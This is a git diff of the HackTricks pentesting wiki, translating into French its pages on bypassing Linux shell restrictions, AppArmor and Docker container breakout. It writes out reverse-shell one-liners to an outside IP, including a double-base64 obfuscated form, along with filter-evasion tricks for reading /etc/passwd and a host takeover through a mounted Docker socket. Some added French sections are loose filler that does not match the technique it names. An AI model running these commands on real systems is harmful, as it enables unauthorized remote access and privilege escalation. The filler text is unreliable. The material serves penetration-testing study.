HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.io/) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Common Limitations Bypasses - -### Reverse Shell +## Contournement des limitations courantes +### Shell inversé ```bash # Double-Base64 is a great way to avoid bad characters like +, works 99% of the time echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' # echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h ``` +### Rev shell court -### Short Rev shell +Le reverse shell court est une technique de piratage qui permet à un attaquant d'établir une connexion à distance avec une machine cible. Cette technique est souvent utilisée pour contourner les restrictions de Bash et obtenir un accès non autorisé à un système. Voici un exemple de commande pour établir une connexion de reverse shell court : +```bash +bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 +``` + +Dans cet exemple, la commande Bash est utilisée pour rediriger les entrées et sorties standard vers une connexion TCP à l'adresse IP 10.0.0.1 sur le port 8080. Cela permet à l'attaquant d'exécuter des commandes à distance sur la machine cible. ```bash #Trick from Dikline #Get a rev shell with @@ -39,9 +44,55 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)| #Then get the out of the rev shell executing inside of it: exec >&0 ``` +### Contourner les chemins et les mots interdits -### Bypass Paths and forbidden words +--- +#### Description + +Lorsque vous êtes dans un shell restreint, il peut y avoir des chemins ou des mots interdits qui vous empêchent d'exécuter certaines commandes. Cependant, il existe des moyens de contourner ces restrictions en utilisant des chemins alternatifs ou en renommant les commandes. + +#### Contournement de chemins interdits + +Si un chemin est interdit, vous pouvez essayer d'utiliser un chemin alternatif pour accéder à la commande. Par exemple, si `/bin/ls` est interdit, vous pouvez essayer d'utiliser `/usr/bin/ls` ou `/bin/../usr/bin/ls`. + +#### Contournement de mots interdits + +Si un mot est interdit, vous pouvez essayer de renommer la commande que vous voulez exécuter. Par exemple, si `ls` est interdit, vous pouvez renommer la commande en `myls` et l'exécuter avec ce nouveau nom. + +```bash +$ cp /bin/ls /tmp/myls +$ PATH=/tmp:$PATH +$ myls +``` + +#### Contournement de chemins et de mots interdits + +Si à la fois un chemin et un mot sont interdits, vous pouvez combiner les deux techniques précédentes. Par exemple, si `/bin/ls` est interdit et que `ls` est également interdit, vous pouvez renommer `/bin/ls` en `/tmp/myls` et l'exécuter avec ce nouveau nom. + +```bash +$ cp /bin/ls /tmp/myls +$ PATH=/tmp:$PATH +$ myls +``` + +#### Contournement de la restriction de shell + +Si vous êtes dans un shell restreint, vous pouvez essayer de lancer un nouveau shell en utilisant une commande qui n'est pas restreinte. Par exemple, si `bash` est restreint, vous pouvez essayer d'utiliser `sh` ou `dash`. + +```bash +$ sh +$ echo "You are now in a new shell" +``` + +#### Contournement de la restriction de shell avec Python + +Si vous ne pouvez pas exécuter de shell, vous pouvez essayer d'utiliser Python pour lancer un nouveau shell. + +```python +$ python -c 'import os; os.system("/bin/sh")' +$ echo "You are now in a new shell" +``` ```bash # Question mark binary substitution /usr/bin/p?ng # /usr/bin/ping @@ -96,9 +147,47 @@ mi # This will throw an error whoa # This will throw an error !-1!-2 # This will execute whoami ``` +### Contourner les espaces interdits -### Bypass forbidden spaces +--- +#### Description + +Certaines restrictions de shell peuvent empêcher l'utilisation d'espaces dans les commandes. Cela peut être contourné en utilisant des caractères spéciaux pour représenter les espaces. + +#### Technique + +- Utiliser des guillemets simples ou doubles pour entourer la commande et les arguments qui contiennent des espaces. + +```bash +$ ls 'my forbidden folder' +``` + +- Utiliser des caractères d'échappement pour représenter les espaces. + +```bash +$ ls my\ forbidden\ folder +``` + +- Utiliser des variables pour stocker les arguments qui contiennent des espaces. + +```bash +$ folder='my forbidden folder' +$ ls $folder +``` + +#### Exemple + +```bash +$ ls 'my forbidden folder' +$ ls my\ forbidden\ folder +$ folder='my forbidden folder' +$ ls $folder +``` + +#### Références + +- [Bash Reference Manual - Quoting](https://www.gnu.org/software/bash/manual/html_node/Quoting.html) ```bash # {form} {cat,lol.txt} # cat lol.txt @@ -131,22 +220,16 @@ g # These 4 lines will equal to ping $u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined uname!-1\-a # This equals to uname -a ``` - -### Bypass backslash and slash - +### Contourner les restrictions de backslash et de slash ```bash cat ${HOME:0:1}etc${HOME:0:1}passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd ``` - -### Bypass pipes - +### Contourner les pipes ```bash bash<<<$(base64 -d<<g` in a file @@ -344,22 +461,21 @@ ln /f* 'sh x' 'sh g' ``` +## Contournement de la restriction de lecture seule / noexec -## Read-Only/Noexec Bypass - -If you are inside a filesystem with the **read-only and noexec protections** there are still ways to **execute arbitrary binaries**. One of them is by the use of **DDexec**, yo can find an explanation of the technique in: +Si vous êtes dans un système de fichiers avec des protections de lecture seule et noexec, il existe encore des moyens d'exécuter des binaires arbitraires. L'un d'entre eux est l'utilisation de DDexec, vous pouvez trouver une explication de la technique dans: {% content-ref url="../bypass-linux-shell-restrictions/ddexec.md" %} [ddexec.md](../bypass-linux-shell-restrictions/ddexec.md) {% endcontent-ref %} -## Chroot & other Jails Bypass +## Contournement de Chroot et autres prisons {% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %} [escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md) {% endcontent-ref %} -## References & More +## Références et plus * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) * [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) @@ -369,8 +485,8 @@ If you are inside a filesystem with the **read-only and noexec protections** the ![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.io/) pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez un accès aujourd'hui: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -378,10 +494,10 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/linux-unix/privilege-escalation/apparmor.md b/linux-unix/privilege-escalation/apparmor.md index 2225969ff..309cdfbeb 100644 --- a/linux-unix/privilege-escalation/apparmor.md +++ b/linux-unix/privilege-escalation/apparmor.md @@ -1,51 +1,31 @@ +# Informations de base +**AppArmor** est une amélioration du noyau pour confiner les **programmes** à un **ensemble limité de ressources** avec des **profils par programme**. Les profils peuvent **autoriser des capacités** telles que l'accès au réseau, l'accès aux sockets bruts et la permission de lire, écrire ou exécuter des fichiers sur des chemins correspondants. -
+Il s'agit d'un contrôle d'accès obligatoire ou **MAC** qui lie les **attributs de contrôle d'accès aux programmes plutôt qu'aux utilisateurs**.\ +Le confinement AppArmor est fourni via des **profils chargés dans le noyau**, généralement au démarrage.\ +Les profils AppArmor peuvent être dans l'un des **deux modes** : -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +* **Exécution**: Les profils chargés en mode exécution entraîneront **l'application de la politique** définie dans le profil **ainsi que la signalisation** des tentatives de violation de la politique (soit via syslog, soit via auditd). +* **Plainte**: Les profils en mode plainte **n'appliqueront pas la politique** mais **signalent** plutôt les tentatives de **violation de la politique**. -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +AppArmor diffère de certains autres systèmes MAC sur Linux : il est **basé sur le chemin**, il permet le mélange de profils en mode exécution et en mode plainte, il utilise des fichiers d'inclusion pour faciliter le développement et il a une barrière d'entrée bien plus faible que d'autres systèmes MAC populaires. -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +## Parties d'AppArmor -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Module du noyau**: Effectue le travail réel +* **Politiques**: Définit le comportement et la confinement +* **Analyseur**: Charge les politiques dans le noyau +* **Utilitaires**: Programmes en mode utilisateur pour interagir avec apparmor -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +## Chemin des profils -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +Les profils Apparmor sont généralement enregistrés dans _**/etc/apparmor.d/**_\ +Avec `sudo aa-status`, vous pourrez lister les binaires qui sont restreints par un profil. Si vous pouvez changer le caractère "/" pour un point du chemin de chaque binaire répertorié, vous obtiendrez le nom du profil apparmor à l'intérieur du dossier mentionné. -
- - -# Basic Information - -**AppArmor** is a kernel enhancement to confine **programs** to a **limited** set of **resources **with **per-program profiles**. Profiles can **allow** **capabilities** like network access, raw socket access, and the permission to read, write, or execute files on matching paths. - -It's a Mandatory Access Control or **MAC** that binds **access control** attributes **to programs rather than to users**.\ -AppArmor confinement is provided via **profiles loaded into the kernel**, typically on boot.\ -AppArmor profiles can be in one of **two modes**: - -* **Enforcement**: Profiles loaded in enforcement mode will result in **enforcement of the policy** defined in the profile **as well as reporting** policy violation attempts (either via syslog or auditd). -* **Complain**: Profiles in complain mode **will not enforce policy** but instead **report** policy **violation** attempts. - -AppArmor differs from some other MAC systems on Linux: it is **path-based**, it allows mixing of enforcement and complain mode profiles, it uses include files to ease development, and it has a far lower barrier to entry than other popular MAC systems. - -## Parts of AppArmor - -* **Kernel module**: Does the actual work -* **Policies**: Defines the behaviour and containment -* **Parser**: Loads the policies into kernel -* **Utilities**: Usermode programs to interact with apparmor - -## Profiles path - -Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\ -With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder. - -For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_ - -## Commands +Par exemple, un profil **apparmor** pour _/usr/bin/man_ sera situé dans _/etc/apparmor.d/usr.bin.man_ +## Commandes ```bash aa-status #check the current status aa-enforce #set profile to enforce mode (from disable or complain) @@ -55,48 +35,42 @@ aa-genprof #generate a new profile aa-logprof #used to change the policy when the binary/program is changed aa-mergeprof #used to merge the policies ``` +# Création d'un profil -# Creating a profile - -* In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files. -* To indicate the access the binary will have over **files** the following **access controls** can be used: - * **r** (read) - * **w** (write) - * **m** (memory map as executable) - * **k** (file locking) - * **l** (creation hard links) - * **ix** (to execute another program with the new program inheriting policy) - * **Px** (execute under another profile, after cleaning the environment) - * **Cx** (execute under a child profile, after cleaning the environment) - * **Ux** (execute unconfined, after cleaning the environment) -* **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \ to the profile file) -* **Deny rules are supported to override allow rules**. +* Pour indiquer l'exécutable affecté, les **chemins absolus et les caractères génériques** sont autorisés (pour la recherche de fichiers) pour spécifier les fichiers. +* Pour indiquer l'accès que le binaire aura aux **fichiers**, les **contrôles d'accès** suivants peuvent être utilisés : + * **r** (lecture) + * **w** (écriture) + * **m** (cartographie de la mémoire en tant qu'exécutable) + * **k** (verrouillage de fichier) + * **l** (création de liens durs) + * **ix** (pour exécuter un autre programme avec le nouveau programme héritant de la politique) + * **Px** (exécuter sous un autre profil, après nettoyage de l'environnement) + * **Cx** (exécuter sous un profil enfant, après nettoyage de l'environnement) + * **Ux** (exécuter sans confinement, après nettoyage de l'environnement) +* Des **variables** peuvent être définies dans les profils et peuvent être manipulées depuis l'extérieur du profil. Par exemple : @{PROC} et @{HOME} (ajouter #include \ au fichier de profil) +* Les **règles de refus sont prises en charge pour remplacer les règles d'autorisation**. ## aa-genprof -To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\ -You just need to run: - +Pour commencer facilement à créer un profil, apparmor peut vous aider. Il est possible de faire **inspecter les actions effectuées par un binaire par apparmor, puis de vous laisser décider quelles actions vous voulez autoriser ou refuser**.\ +Il suffit d'exécuter : ```bash sudo aa-genprof /path/to/binary ``` - -Then, in a different console perform all the actions that the binary will usually perform: - +Ensuite, dans une console différente, effectuez toutes les actions que le binaire effectuera normalement : ```bash /path/to/binary -a dosomething ``` - -Then, in the first console press "**s**" and then in the recorded actions indicate if you want to ignore, allow, or whatever. When you have finished press "**f**" and the new profile will be created in _/etc/apparmor.d/path.to.binary_ +Ensuite, dans la première console, appuyez sur "**s**" et indiquez ensuite si vous voulez ignorer, autoriser ou autre chose pour les actions enregistrées. Lorsque vous avez terminé, appuyez sur "**f**" et le nouveau profil sera créé dans _/etc/apparmor.d/path.to.binary_ {% hint style="info" %} -Using the arrow keys you can select what you want to allow/deny/whatever +En utilisant les touches fléchées, vous pouvez sélectionner ce que vous voulez autoriser/refuser/autre {% endhint %} ## aa-easyprof -You can also create a template of an apparmor profile of a binary with: - +Vous pouvez également créer un modèle de profil apparmor d'un binaire avec: ```bash sudo aa-easyprof /path/to/binary # vim:syntax=apparmor @@ -121,31 +95,25 @@ sudo aa-easyprof /path/to/binary # No write paths specified } ``` - {% hint style="info" %} -Note that by default in a created profile nothing is allowed, so everything is denied. You will need to add lines like `/etc/passwd r,` to allow the binary read `/etc/passwd` for example. +Notez que par défaut, dans un profil créé, rien n'est autorisé, donc tout est refusé. Vous devrez ajouter des lignes comme `/etc/passwd r,` pour autoriser la lecture du binaire `/etc/passwd`, par exemple. {% endhint %} -You can then **enforce** the new profile with - +Vous pouvez ensuite **forcer** le nouveau profil avec ```bash sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` +## Modification d'un profil à partir des journaux -## Modifying a profile from logs - -The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions: - +L'outil suivant lira les journaux et demandera à l'utilisateur s'il souhaite autoriser certaines des actions interdites détectées : ```bash sudo aa-logprof ``` - {% hint style="info" %} -Using the arrow keys you can select what you want to allow/deny/whatever +En utilisant les touches fléchées, vous pouvez sélectionner ce que vous voulez autoriser/refuser/quelque chose d'autre. {% endhint %} -## Managing a Profile - +## Gestion d'un profil ```bash #Main profile management commands apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode @@ -153,18 +121,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile ``` +# Journaux -# Logs - -Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**: - +Exemple de journaux **AUDIT** et **DENIED** provenant de _/var/log/audit/audit.log_ de l'exécutable **`service_bin`**: ```bash type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000 type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 ``` - -You can also get this information using: - +Vous pouvez également obtenir ces informations en utilisant : ```bash sudo aa-notify -s 1 -v Profile: /bin/service_bin @@ -182,11 +146,9 @@ Logfile: /var/log/audit/audit.log AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021) For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor ``` +# Apparmor dans Docker -# Apparmor in Docker - -Note how the profile **docker-profile** of docker is loaded by default: - +Notez comment le profil **docker-profile** de Docker est chargé par défaut: ```bash sudo aa-status apparmor module is loaded. @@ -202,84 +164,54 @@ apparmor module is loaded. /usr/lib/connman/scripts/dhclient-script docker-default ``` +Par défaut, le profil **Apparmor docker-default** est généré à partir de [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) -By default **Apparmor docker-default profile** is generated from [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +Résumé du profil **docker-default**: -**docker-default profile Summary**: - -* **Access** to all **networking** -* **No capability** is defined (However, some capabilities will come from including basic base rules i.e. #include \ ) -* **Writing** to any **/proc** file is **not allowed** -* Other **subdirectories**/**files** of /**proc** and /**sys** are **denied** read/write/lock/link/execute access -* **Mount** is **not allowed** -* **Ptrace** can only be run on a process that is confined by **same apparmor profile** - -Once you **run a docker container** you should see the following output: +* **Accès** à tous les **réseaux** +* Aucune **capacité** n'est définie (Cependant, certaines capacités proviendront de l'inclusion de règles de base de base, c'est-à-dire #include \) +* L'**écriture** dans n'importe quel fichier **/proc** n'est **pas autorisée** +* Les autres **sous-répertoires/fichiers** de /**proc** et /**sys** se voient **refuser** l'accès en lecture/écriture/verrouillage/liens/exécution +* Le **montage** n'est **pas autorisé** +* **Ptrace** ne peut être exécuté que sur un processus confiné par le **même profil apparmor** +Une fois que vous **exécutez un conteneur docker**, vous devriez voir la sortie suivante: ```bash 1 processes are in enforce mode. docker-default (825) ``` - -Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS_ADMIN capability is granted** because by default docker apparmor profile denies this access: - +Notez que **apparmor bloquera même les privilèges de capacités** accordés au conteneur par défaut. Par exemple, il sera capable de **bloquer la permission d'écrire à l'intérieur de /proc même si la capacité SYS_ADMIN est accordée** car par défaut, le profil apparmor de docker refuse cet accès: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash echo "" > /proc/stat sh: 1: cannot create /proc/stat: Permission denied ``` - -You need to **disable apparmor** to bypass its restrictions: - +Vous devez **désactiver apparmor** pour contourner ses restrictions : ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash ``` +Notez que par défaut, **AppArmor** interdit également au conteneur de monter des dossiers depuis l'intérieur même avec la capacité SYS_ADMIN. -Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS_ADMIN capability. +Notez que vous pouvez **ajouter/supprimer** des **capacités** au conteneur Docker (cela sera toujours restreint par des méthodes de protection telles que **AppArmor** et **Seccomp**): -Note that you can **add/remove** **capabilities** to the docker container (this will be still restricted by protection methods like **AppArmor** and **Seccomp**): - -* `--cap-add=SYS_ADMIN`_ _give_ _`SYS_ADMIN` cap -* `--cap-add=ALL`_ _give_ _all caps -* `--cap-drop=ALL --cap-add=SYS_PTRACE` drop all caps and only give `SYS_PTRACE` +* `--cap-add=SYS_ADMIN`_ _donne_ _la capacité `SYS_ADMIN` +* `--cap-add=ALL`_ _donne_ _toutes les capacités +* `--cap-drop=ALL --cap-add=SYS_PTRACE` supprime toutes les capacités et ne donne que `SYS_PTRACE` {% hint style="info" %} -Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**. +Généralement, lorsque vous **découvrez** que vous avez une **capacité privilégiée** disponible **à l'intérieur** d'un **conteneur docker mais** que certaines parties de l'**exploit ne fonctionnent pas**, cela est dû à ce que **AppArmor de docker l'empêche**. {% endhint %} -## AppArmor Docker breakout - -You can find which **apparmor profile is running a container** using: +## Évasion d'AppArmor Docker +Vous pouvez trouver quel **profil AppArmor exécute un conteneur** en utilisant: ```bash docker inspect 9d622d73a614 | grep lowpriv "AppArmorProfile": "lowpriv", "apparmor=lowpriv" ``` - -Then, you can run the following line to **find the exact profile being used**: - +Ensuite, vous pouvez exécuter la ligne suivante pour **trouver le profil exact utilisé**: ```bash find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null ``` - -In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them. - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - +Dans le cas étrange où vous pouvez **modifier le profil docker apparmor et le recharger**, vous pouvez supprimer les restrictions et les "contourner". diff --git a/linux-unix/privilege-escalation/docker-breakout.md b/linux-unix/privilege-escalation/docker-breakout.md index 2aa8278ea..9f5621612 100644 --- a/linux-unix/privilege-escalation/docker-breakout.md +++ b/linux-unix/privilege-escalation/docker-breakout.md @@ -1,92 +1,80 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-# What is a container - -In summary, it's an **isolated** **process** via **cgroups** (what the process can use, like CPU and RAM) and **namespaces** (what the process can see, like directories or other processes): +# Qu'est-ce qu'un conteneur +En résumé, c'est un **processus isolé** via **cgroups** (ce que le processus peut utiliser, comme le CPU et la RAM) et des **espaces de noms** (ce que le processus peut voir, comme les répertoires ou les autres processus) : ```bash docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container ps -ef | grep 1234 #Get info about the sleep process ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) ``` +# Socket Docker monté -# Mounted docker socket - -If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\ -This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions. - +Si vous trouvez que le **socket Docker est monté** à l'intérieur du conteneur Docker, vous pourrez vous échapper.\ +Cela se produit généralement dans les conteneurs Docker qui, pour une raison quelconque, doivent se connecter au démon Docker pour effectuer des actions. ```bash #Search the socket find / -name docker.sock 2>/dev/null #It's usually in /run/docker.sock ``` - -In this case you can use regular docker commands to communicate with the docker daemon: - +Dans ce cas, vous pouvez utiliser les commandes docker régulières pour communiquer avec le démon docker: ```bash #List images to use one docker images #Run the image mounting the host disk and chroot on it docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash ``` - {% hint style="info" %} -In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`** +Dans le cas où le **socket docker est dans un emplacement inattendu**, vous pouvez toujours communiquer avec lui en utilisant la commande **`docker`** avec le paramètre **`-H unix:///path/to/docker.sock`** {% endhint %} -# Container Capabilities +# Capacités du conteneur -You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, 